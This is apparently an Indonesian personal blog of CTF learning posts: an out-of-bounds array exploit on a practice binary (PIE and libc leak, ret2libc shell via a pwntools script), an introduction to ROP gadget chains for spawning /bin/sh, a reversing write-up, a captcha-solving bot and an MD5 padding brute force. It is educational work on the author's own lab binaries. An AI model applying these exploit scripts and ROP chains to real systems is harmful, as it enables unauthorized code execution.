Sabtu, 14 Oktober 2017

Out Of Bound Array

oob
Belakangan ini beberapa ctf yang saya ikuti banyak sekali soal tentang ini. Dan sayangnya sedikit yang bisa saya solve ketika lomba. Karena itu saya menuliskan ini untuk mengarsipkan apa yang sudah saya pelajari mulai dari yang paling sederhana.
Out of bound array adalah kondisi saat user bisa memasukkan index array diluar dari space array yang diberikan, sehingga user dapat mengetahui, membocorkan sampai mengubah isi memori di luar array. Kita dapat melakukan leak terhadap canary dan PIE sampai mengubah return address tergantung dari program yang diberikan.
Kali ini kita akan coba demonstrasikan out of bound array untuk memanggil shell dengan teknik return to libc biasa.
Diberikan binary 64 bit dengan source code berikut
#include <stdio.h>
#include <stdlib.h>

//compile with gcc -o oob oob.c
//this binary is for learning about out of bound vuln to get a shell

int vuln(){
 char junk[10];
 char pil = 'y';
 int index;
 printf("x for quit\ni for isi\nr for read\n");
 char newline;
 while(pil != 'x'){

  scanf("%c", &pil);

  if(pil == 'i'){
   //filling
   scanf("%c", &newline);
   scanf("%d", &index);
   scanf("%c", &newline);
   scanf("%c", &junk[index]);
   printf("Index %d filled\n", index);
  }
  else if (pil == 'r'){
   scanf("%d", &index);
   printf("Your char on index %d is %d\n", index, junk[index]);
  }
 }
}

int main()
{
 vuln();
 return 0;
}
Berikut adalah proteksi dari binary yang bersangkutan.
[*] '/home/alfakatsuki/CTF/practice/oob/oob'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
Program sederhana ini user dapat melihat isi memori pada index sekian, dan dapat mengisi memori pada index sekian sehingga kita dapat mengoverwrite RIP sesuai dengan keinginan kita. Kita juga dapat melakukan leak terhadap RIP sekarang untuk membypass PIE.
Goals dari exploit kita adalah mendapatkan shell. Sehingga langkah langkah yang kita lakukan adalah sebagai berikut :
  1. Leak RIP dengan out of bound array
  2. Hitung base PIE address dengan RIP - offset RIP
  3. Menggunakan return to libc untuk Leak libc. Ambil contoh kita menggunakan printf. Seluruh alamat fungsi atau gadget yang ada di segment text, dapat dihitung dengan base PIE + offset
Mari kita coba debug dengan GDB-PEDA untuk mengetahui dimana selisih index antara inputan kita dengan RIP.
Kita akan break di offset 0x000000000000089B. Karena PIE aktif dan aslr di GDB-PEDA mati, maka alamat break kita akan menjadi 0x000055555555489B
gdb-peda$ r
Starting program: /home/alfakatsuki/CTF/practice/oob/oob
x for quit
i for isi
r for read
i
1
A
Index 1 filled
i
0
A
Index 0 filled
i
2
A
Index 2 filled
i
3
A
Index 3 filled

gdb-peda$ find AAAA
Searching for 'AAAA' in: None ranges
Found 1 results, display max 1 items:
[stack] : 0x7fffffffda7e ("AAAAUUUU")

gdb-peda$ i f
Stack level 0, frame at 0x7fffffffdaa0:
 rip = 0x55555555489b in vuln; saved rip = 0x5555555548f4
 called by frame at 0x7fffffffdab0
 Arglist at 0x7fffffffda90, args:
 Locals at 0x7fffffffda90, Previous frames sp is 0x7fffffffdaa0
 Saved registers:
  rbp at 0x7fffffffda90, rip at 0x7fffffffda98
gdb-peda$


gdb-peda$ x/100bx 0x7fffffffda7e
0x7fffffffda7e: 0x41 0x41 0x41 0x41 0x55 0x55 0x55 0x55
0x7fffffffda86: 0x00 0x00 0x00 0xe3 0xe1 0x1e 0x04 0xa2
0x7fffffffda8e: 0xdb 0x2a 0xa0 0xda 0xff 0xff 0xff 0x7f
0x7fffffffda96: 0x00 0x00 0xf4 0x48 0x55 0x55 0x55 0x55
0x7fffffffda9e: 0x00 0x00 0x00 0x49 0x55 0x55 0x55 0x55
0x7fffffffdaa6: 0x00 0x00 0xf1 0x03 0xa3 0xf7 0xff 0x7f
0x7fffffffdaae: 0x00 0x00 0x00 0x00 0x04 0x00 0x00 0x00
0x7fffffffdab6: 0x00 0x00 0x88 0xdb 0xff 0xff 0xff 0x7f
0x7fffffffdabe: 0x00 0x00 0x08 0xa5 0xb9 0xf7 0x01 0x00
0x7fffffffdac6: 0x00 0x00 0xe6 0x48 0x55 0x55 0x55 0x55
0x7fffffffdace: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7fffffffdad6: 0x00 0x00 0x2b 0x45 0x28 0x8c 0x3c 0x4b
0x7fffffffdade: 0xb4 0x69 0x80 0x46
Inputan kita berada pada 0x7fffffffda7e dan RIP berada di 0x7fffffffda98 sehingga selisih nya menjadi 26. Kita sudah mendapat semua informasi yang kita butuhkan. Mari kita coba susun exploit yang dapat kita lakukan.
from pwn import *

# offset RIP berada pada index 26

p = process('./oob')
e = ELF('./oob')

def isi(i, ch):
 p.sendline('i')
 p.sendline(str(i))
 p.sendline(ch)
 p.recvuntil('filled\n')

def baca(i):
 p.sendline('r')
 p.sendline(str(i))
 p.recvuntil('is ')
 leaked = chr(eval(p.recvline()[:-1]) & 0xff)
 return leaked

# Leaked RIP for find base PIE address

basepie = ''
offset_rip = 0x8f4
for i in range(26, 26+8):
 basepie += baca(i)

basepie = u64(basepie)
basepie -= offset_rip


# Get Base PIE
log.info("Base PIE\t: 0x{0:x}".format(basepie))

gotprintf = p64(e.got['printf'] + basepie)
puts = p64(e.symbols['puts'] + basepie)
main = p64(e.symbols['main'] + basepie)
poprdi = p64(0x0000000000000963 + basepie)
poprsir15 = p64(0x0000000000000961 + basepie)
payload = poprdi + gotprintf + puts + main


log.info('Leaking libc')
k = 26
for i in payload:
 isi(k, i)
 k += 1

#Get Libc printf address
p.sendline('x')
printf = p.recvline()
printfaddr =  u64(printf[:-1]+'\x00\x00')

log.info('Printf libc\t: 0x{0:x}'.format(printfaddr))

offset___libc_start_main_ret = 0x203f1
offset_system = 0x00000000000456a0
offset_dup2 = 0x00000000000f8fa0
offset_read = 0x00000000000f8880
offset_write = 0x00000000000f88e0
offset_str_bin_sh = 0x18ac40
offset_printf = 0x0000000000056510

# compute binsh string and system function in libc
base = printfaddr - offset_printf
sh = base + offset_str_bin_sh
system = base + offset_system

# Gaining shell
payload = poprdi + p64(sh) + p64(system)

log.info('Gaining shell')
k = 26
for i in payload:
 isi(k, i)
 k += 1

p.sendline('x')
p.interactive()
Mari kita coba jalankan dengan penuh semangat.
╭─── alfakatsuki@Ubuntu:[~/CTF/practice/oob]:
╰──▶ python sploit.py
[+] Starting local process './oob': pid 10632
[*] '/home/alfakatsuki/CTF/practice/oob/oob'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Base PIE    : 0x5567a13d8000
[*] Leaking libc
[*] Printf libc    : 0x7fcf7766d510
[*] Gaining shell
[*] Switching to interactive mode
$ ls
a.out  oob    oob.id0  oob.id2    oob.til            peda-session-oob.txt
core   oob.c  oob.id1  oob.nam    peda-session-a.out.txt    sploit.py
$ id
uid=1000(alfakatsuki) gid=1000(alfakatsuki) groups=1000(alfakatsuki),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),121(lpadmin),131(sambashare),998(docker)
$  
Ternyata berhasil. Sekian eksploit sederhana mengenai out of bound array. Variasi dari eksploit ini bermacam macam. Jadi ini hanya merupakan pengantar dari apa yang baru saya bisa. Terimakasih :)

Sabtu, 29 Juli 2017

ROP 1. Simple Introduction About ROP

untitled

ROP atau kita biasa sebut return oriented programming adalah tingkatan tertinggi dan tersulit dari kategori pwning. Sampai saat ini saya maish belum menguasai dan mempraktikannya. Beberapa gadget masih terlihat asing bagi saya. tapi saya akan berusaha menulis perlahan lahan apa yang saya baru tau dan apabila salah mohon koreksinya ya :).

ROP atua return oriented programming adalah eksploitasi sebuah program dengan mengarahkan EIP atau intsruct pointer ke gadget gadget yang kita sambungkan agar memunculkan suatu fungsi yang kita inginkan. Umumnya tingkatan tertinggi dari eksploit adalah kita mampu memanggil shell dari program yang dieksploit. Gadget adalah kumpulan instruski assembly yang memiliki instruksi ret di akhir agar program kembali ke dalam stack untuk melanjutkan gadget lainnya hingga memanggil shell

Apa yang kita bisa lakukan dengan gadget?

Contoh beberapa penggunaan gadget

  1. Memasukkan sesuatu ke register
  • pop eax, ret + 0xdeadbeef Gadget ini akan mengisi register eax dengan 0xdeadbeef
  1. Membaca dari memori
  • mov ecx, [eax], ret gadget ini akan memasukkan nilai yang berada pada alamat eax ke register ecx
  1. Memasukkan ke memori (stack)
  • mov [eax], ecx, ret

Gadget ini akan memasukkan nilai ecx ke alamat memori yang ditunjuk eax

  1. Aritmatika

add eax, 0x0b, ret

Ini akan menambahkan eax senilai 0x0b

xor eax, eax

mengosongkan nilai eax

  1. System call

int 0x80, ret

call gs:[0x10], ret

GADGET YANG HARUS DIHINDARI

gadget yang mengandung pop ebp, semua akan merusak stack Payload tidak boleh mengandung nullbytes

Untuk memanggil shell, kita harus memvariasikan beberapa chainig dari rop gadget, sehingga kita, bisa memanggil call system dengan argumen /bin//sh

Satu chaining yang saya pelajari untuk memanggil shell

  1. xor eax, eax ; untuk mengosongkan eax
  2. menulis /bin/sh didalam memori yang paling aman. Kita cbba untuk untuk menulis nya didata segmen. Yang dapat kita lakukan adalah menggunakan gadget
  • pop {REG1}, ret, ALAMAT
  • pop {REG2}, ret, STRING
  • mov [REG1], REG2

Lakukan dua kali. Karena string /bin//sh memiliki ukuran 8 byte. Kita.

  1. Setelah semua persiapan selesai, kita bisa memanggil function call dengan gadget
  • xor eax, eax ; untuk mengosongkan eax
  • add eax, 0x0b ;mengisi eax, dengan function system call
  • call gs:[0x10], ret

Payload ROP dari berbagai macam soal, bisa bervarisi, dari gadget gadget yang tersedia dari program

Beberapa payload yang pernah saya temui baik dari baca baca payload orang lain.

  • Buffer + pop eax, pop ecx , ret + u32("/bin") + p32(0xaddr) + mov [eax], ecx, ret + xor eax, eax , ret + add eax, 0x0b, ret + call gs:[0x10], ret

Postingan ini pasti akan dilanjuti untuk meneruskan apa yang saya sudah pelajari dari ROP

Reversing 1. Simple XOR

untitled

Reversing 1. Membaca Pseudocode, dan reverse langsung

Kali ini kita akan membahas sedikit tentang reverse engineering. Reverse engineering adalah Ilmu untuk merekonstruksi program dari program yang sudah dicompiled, menjadi pseudocode, dan memahami pseudocode tentang bagaimana program tersebut bekerja. Didalam dunia cyber security. Reversing adalah tingkat tertinggi bersamaan dengan binary eksploitation. Banyak manfaat yang dapat kita dapatkan jka kita belajar reverse engineering, kita dapat melihat suatu program bekerja apakah dia bekerja sebagai mana mestinya, atau ada kesalahan / bug / illegal instruction yang disisipkan pada program tersebut. Kemampuan reverse engineering juga dapat membantu bidang security lain seperti membaca suatu program yang mengenkripsi dengan menggunakan suatu metode kriptografi, dan juga membantu membaca kelemahan program yang dapat dieksploit. Tanpa kemampuan reverse engineering, kemungkinan kita bisa mengeksploit program sangat kecil bahkan mendekati nl.

Untuk belajar reverse engineering, kita membutuhkan kemampuan untuk memahami source code, dan tentu kemampuan coding. Untuk reverse engineerin tingkat atas, tentu kita juga membutuhkan kemampuan menggunakan dan memahami assembly, namun saya juga masih banyak belajar untuk assembly, jadi kita belum akan membahasnya disini.

Kali ini kita akan menggunakan soal dari slashroot CTF yang masing hangat yaitu soal Phunpack. (Binary diupload oleh Fanpage Cyber security IPB).

Seperti biasa, kita harus mengidentifikasi terlebih dahulu binary tersebut.

alfakatsuki@justPC:/media/sda6/CTF (All)/CTF Events/FINAL SLEZRUT/REVERSING$ file phunpack
phunpack: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=5bed9389e4ebb4a335c343185f4beec6fe31e741, not stripped
alfakatsuki@justPC:/media/sda6/CTF (All)/CTF Events/FINAL SLEZRUT/REVERSING$ checksec phunpack
[*] '/media/sda6/CTF (All)/CTF Events/FINAL SLEZRUT/REVERSING/phunpack'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
alfakatsuki@justPC:/media/sda6/CTF (All)/CTF Events/FINAL SLEZRUT/REVERSING$ ./phunpack
Enter the password: aaaaaaaaaaaa
No no no!
alfakatsuki@justPC:/media/sda6/CTF (All)/CTF Events/FINAL SLEZRUT/REVERSING$ ./phunpack
Enter the password: a
No no no!
alfakatsuki@justPC:/media/sda6/CTF (All)/CTF Events/FINAL SLEZRUT/REVERSING$ ./phunpack
Enter the password:
No no no!
alfakatsuki@justPC:/media/sda6/CTF (All)/CTF Events/FINAL SLEZRUT/REVERSING$

Bisa kita lihat bahwa program meminta kita untuk memberikan input berupa password dan jika salah akan memunculkan hasil tersebut.

Mari kita coba decompile dengan IDA 64 bit atau decompiler lain. Namun kali ini kita coba IDA karena hasil decompile yang paling mudah dibaca.

Berikut adalah layout pemanggilan Fungsi pada program.

Kita coba decompile fungsi Main.

Berikut adalah pseudocode C dari fungsi main

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int result; // eax@4
  __int64 v4; // rcx@4
  char v5; // [sp+10h] [bp-20h]@1
  __int64 v6; // [sp+28h] [bp-8h]@1

  v6 = *MK_FP(__FS__, 40LL);
  printf((unsigned __int64)"Enter the password: ");
  fgets(&v5, 11LL, stdin);
  if ( passcheck(&v5) == 10 )
    printf((unsigned __int64)"Correct flag! SlashRootCTF{%s}\n");
  else
    puts("No no no!");
  result = 0;
  v4 = *MK_FP(__FS__, 40LL) ^ v6;
  return result;
}

Kita tau bahwa fungsi fgets meminta kita untuk meminta sebuah inputan dan dimasukkan kedalam variabel v5. Untuk mendapatkan flag yang benar kita harus fungsi passcheck yang memiliki argumen v5 tadi harus return nilai 10,

Mari kita decompile fungsi passcheck dan lihat pseudo code nya.

__int64 __fastcall passcheck(__int64 a1)
{
  __int64 v1; // rax@1
  __int64 result; // rax@8
  __int64 v3; // rcx@8
  unsigned int v4; // [sp+18h] [bp-28h]@1
  signed int i; // [sp+1Ch] [bp-24h]@2
  char v6; // [sp+20h] [bp-20h]@1
  char v7; // [sp+21h] [bp-1Fh]@1
  char v8; // [sp+22h] [bp-1Eh]@1
  char v9; // [sp+23h] [bp-1Dh]@1
  char v10; // [sp+24h] [bp-1Ch]@1
  char v11; // [sp+25h] [bp-1Bh]@1
  char v12; // [sp+26h] [bp-1Ah]@1
  char v13; // [sp+27h] [bp-19h]@1
  char v14; // [sp+28h] [bp-18h]@1
  char v15; // [sp+29h] [bp-17h]@1
  __int64 v16; // [sp+38h] [bp-8h]@1

  v16 = *MK_FP(__FS__, 40LL);
  v4 = 0;
  v6 = 85;
  v7 = 110;
  v8 = 80;
  v9 = 65;
  v10 = 67;
  v11 = 75;
  v12 = 70;
  v13 = 84;
  v14 = 87;
  v15 = 33;
  LODWORD(v1) = strlen();
  if ( v1 == 10 )
  {
    for ( i = 0; i <= 9; ++i )
    {
      if ( *(_BYTE *)(i + a1) == *(&v6 + i) ) #### Penting
        ++v4;
      else
        v4 = 0;
    }
  }
  result = v4;
  v3 = *MK_FP(__FS__, 40LL) ^ v16;
  return result;
}

Fungsi passcheck mereturn nilai result. Nilai result didapat dari membandingkan tiap char pada argumen dari passcheck dengan char yang ada pada local variabel, yaitu char dari alamat v6. Apabila i sudah mencapai 10 maka program akan dia break.

Inputan kita dibandingkan dengan isi dari variabel v4 - v15. Kita tinggal membuat skrip python sederhana atau manual pun juga bisa untuk mengubah nilai int yang disana menjadi jilai char. Namun sekalian untuk belajar programming mari kita coding.

import re
from pwn import *
dump = """v6 = 85;
v7 = 110;
v8 = 80;
v9 = 65;
v10 = 67;
v11 = 75;
v12 = 70;
v13 = 84;
v14 = 87;
v15 = 33;"""

dump = dump.split('\n')

passs = ""

for i in dump :
  a = re.search('= (.+?);', i)
  passs += chr(eval(a.group(1)))

print passs
# p = process('./phunpack')
# p.recvline('password: ')
# p.sendline('passs')
# p.recvline()
# p.recvline()
# p.kill()

Skrip diatas itu kita sekalian submit ya. Lumayan sekalian belajar pwning juga. Tapi akhirnya saya ga jadi make karena ga tau kenapa binary nya ga bisa dipwn.

Didapat string 'UnPACKFTW!'. Ayo kita coba masukkan dipassword

alfakatsuki@justPC:/media/sda6/CTF (All)/CTF Events/REVERSING$ ./phunpack
Enter the password: UnPACKFTW!
Correct flag! SlashRootCTF{UnPACKFTW!}

Ternyata benar flagnya :D.

Jika kita melihat hasil dari pseudocode maka terlihat rumit sekali, namun ternyata hanya dibandingkan saja. Karena itu kita harus menguasai bahasa pemrograman untuk bisa melihat dan mengidentifikasi mana code code yang penting agar untuk kita reverse. :)

Sekian dari saya. Pada postingan kedepan, kita akan mencoba untuk mereversing dengan metode bruteforcing. Semoga bermanfaat.

Kamis, 20 Juli 2017

Make the bot 2. Beat captcha


Jika sebelumnya kita mencoba mengalahkan program executables, kali ini kita akan coba belajar bagaimana untuk membuat bot yang bekerja pada web.

Sebagai bahan belajar php saya, saya mencoba untuk membuat web pengisian captcha boong boongan. Karena saya hanya menuliskan angka captcha nya di web tersebut. Untuk mendapatkan flag, Kita harus memasukkan angka pada captcha sebanyak 500 kali.

1

Apabila kita memasukkan captcha maka

2

Web captcha tersebut dapat diakses di (will be added soon). Jika kalian ingin menjalankan web captcha ini di local, saya memberikan source code web tersebut bisa dilihat dibawah ini.

index.php

<!DOCTYPE html>
<html>
  <head>
    <meta charset="utf-8">
    <title>Captcha Idiotequie</title>
  </head>
  <body>
    <?php
    $stat = file_get_contents('status');
    echo "This is your captcha ". $stat." \n";
    ?>
    <form action="receive.php" method="post">
      <input type="text" name="captcha">
      <input type="submit" name="login">
    </form>
  </body>
</html>

receive.php

<!DOCTYPE html>
<html>
  <head>
    <meta charset="utf-8">
    <title>Receive</title>
  </head>
  <body>
    <?php
    $count = file_get_contents('counts');
    $stat = file_get_contents('status');
    $input = $_POST['captcha'];
    if($count>=500){
      echo "YES YOUR THE WINNER\n";
      echo "FLAG_HERE\n";
    }
    else if($stat===$input){
      echo "yes youre right". "\n";
      $newstat = fopen('counts', 'w');
      $more = 500-$count;
      echo "You need ". $more ." More\n";
      fwrite($newstat, $count+1);
      fclose($newstat);
    } else {
      echo "Try again dude\n";
    }
    $stat = fopen('status', 'w');
    $acak = rand();
    fwrite($stat, $acak);
    fclose($stat);
    ?>
  </body>
</html>

Dapat dilihat pada source code. Di index.php, kita akan mendapatkan nomor captcha yang diakses dari file status, lalu ditampilkan. Kita diharuskan untuk mengisi nomor tersebut dan mensubmit dengan metode post, agar di terima oleh receive.php. Di receive.php, inputan di cocokkan dengan file status tadi, setelah itu, isi dari file status itu dirubah dengan angka random kembali.

Karena itu bot yang kita buat harus mengambil nomor dari index.php lalu mengirimkannya dengan metode post ke parameter 'captcha' secara terus menerus.

Berikut adalah skrip python yang kita gunakan untuk menyelesaikan soal

import re
import requests


for i in range(0, 503):
    urlkirim = "http://localhost/captchaproject1/receive.php"
    urlambil = "http://localhost/captchaproject1/index.php"
    a  = requests.get(urlambil)
    print a.content
    num = re.search('captcha (.+?) ', a.content)
    number = num.group(1)
    b = requests.post(urlkirim, data={'captcha':str(number), 'login':'Submit'})
    print b.content

Kita coba jalankan di terminal.

alfakatsuki@justPC:~/Desktop$ python exploit.py
.
.
.
.
<!DOCTYPE html>
<html>
  <head>
    <meta charset="utf-8">
    <title>Receive</title>
  </head>
  <body>
    YES YOUR THE WINNER
    CTF{DiDnt_NeeD_TENsoR_FLOW_to_Solve_THIS}
    yes youre right
You need -9 More
  </body>
</html>

alfakatsuki@justPC:~/Desktop$

Setelah menunggu beberapa saat, kita berhasil mendapatkan flagnya yaitu CTF{DiDnt_NeeD_TENsoR_FLOW_to_Solve_THIS}. Metode request sederhana dan mengekstrak data seperti ini sangat berguna baik untuk CTF ataupun untuk mengirimkan data atau mengambil data secara otomatis.

Cukup sekian cara sederhana untuk menggunakan python untuk membuat request pada halaman web. Semoga dapat bermanfaat bagi kita semua :).

Kriptografi 3. MD5 dan Hashing

MD5 dan Hashing
Jika sebelumnya kita membahas tentang enkripsi kali ini kita akan membahas salah satu jenis hashing yaitu md5. Hashing adalah suatu formula, atau suatu algoritma satu arah untuk mengidentifikasi suatu data. Dua tipe data yang identik memiliki hash yang sama. Yang berbeda antara hashing dengan enkripsi adalah hasil hash tidak dapat dikembalikan menjadi data awal. Sehingga hashing disebut dengan algoritma satu arah. Ada banyak hashing yang biasa kita temui, kali ini kita akan membahas tentang MD5.
Hash MD5 berukuran 16 byte. Jika kita mengubah satu karakter saja pada string yang di hash, maka hash akan berbeda sangat jauh, sehingga hash md5 dapat digunakan untuk mendeteksi kerusakan pada file.
Dengan menggunakan bash
alfakatsuki@justPC:~$ echo -n 'a' | md5sum
0cc175b9c0f1b6a831c399e269772661  -
Dengan menggunakan python
import hashlib
print hashlib.md5("a").hexdigest()
Sebagai contoh penggunaan md5 untuk mendeteksi kerusakan file adalah sebagai berikut. Saya akan membuat file bernama testbinary.txt
alfakatsuki@justPC:~$ echo 'AAAAAAAAAA' > testbinary.txt
alfakatsuki@justPC:~$ cat testbinary.txt
AAAAAAAAAA
testbinary.txt berisi 10 karakter A dan diakhiri newline diakhir. Kita cari md5sum nya menggunakan bash saja.
alfakatsuki@justPC:~$ md5sum testbinary.txt
86d48f739677a6bc11751a9a3fd4a0d1  testbinary.txt
Kita coba kalau satu karakter tadi B nya
alfakatsuki@justPC:~$ echo 'AAAAAAAAAB' > testbinary.txt
alfakatsuki@justPC:~$ cat testbinary.txt
AAAAAAAAAB
alfakatsuki@justPC:~$ md5sum testbinary.txt
5542eaca4309f3aa71bf384f23eeb966  testbinary.txt
Hash yang dihasilkan sangat jauh berbeda.
Hash juga digunakan untuk menyimpan password sehingga pihak server pun tidak mengetahui password yang sebenarnya. Password yang dikirim user, dihash, dan hash tersebut disimpan sebagai pencocok apabila user akan login. Sehingga apabila server diserang, keamanan pengguna masih tetap terjaga.
Namun walaupun tidak dapat direverse, hash masih bisa dikembalikan dengan metode bruteforce. Kumpulan word di hash lalu disimpan di internet sebagai database dari word sebelum dihash. Begitulah cara decrypt md5 bekerja dengan mencocokan hash md5 dengan database hash yang dimiliki oleh web tersebut.
Namun beberapa password menggunakan padding atau karakter sampah pada plain text sehingga tidak akan didapat hash yang sama pada database. Kita akan mencoba menyelesaikan soal sederhana untuk mendekrip hash yang memiliki padding.

Quest.

Saya memiliki hash 596d4043ad79fc82e7f496daff8dc8e9. String asli dari hash ini adalah "SARAPANKUY" dengan padding 1 byte di kiri dan satu byte dikanan string. Tugas kita adalah mengirim flag padding yang digunakan dengan format CTF{"hexapaddingkiri"+"hexapadingkanan"}. Contoh jawaban. CTF{'\x41\x41'}
Kita dapat menggunakan python untuk membruteforce byte tersebut. Byte berkisar dari 0x00 sampai 0xff.
import hashlib
string = "SARAPANKUY"
hashtrue = "596d4043ad79fc82e7f496daff8dc8e9"
kelar = 0
#untuk membruteforce byte kiri
for i in range(0x00, 0xff):
  if kelar == 1:
    break
  #untuk membruteforce byte kanan
  for j in range(0x00, 0xff):
    if kelar == 1 :
      break
    stringbaru = chr(i) + string + chr(j)
    hashbaru = hashlib.md5(stringbaru).hexdigest()
    print hex(i), hex(j), hashbaru, hashtrue
    if hashbaru == hashtrue:
      kelar = 1
# 0x99 0x99 596d4043ad79fc82e7f496daff8dc8e9 596d4043ad79fc82e7f496daff8dc8e9
Kita berhasil mendapatkan flagnya. yaitu '\x99' dan '\x99'. CTF{'\x99\x99'}
Sekian yang dapat saya bagikan. Semoga bermanfaat bagi kita semua :).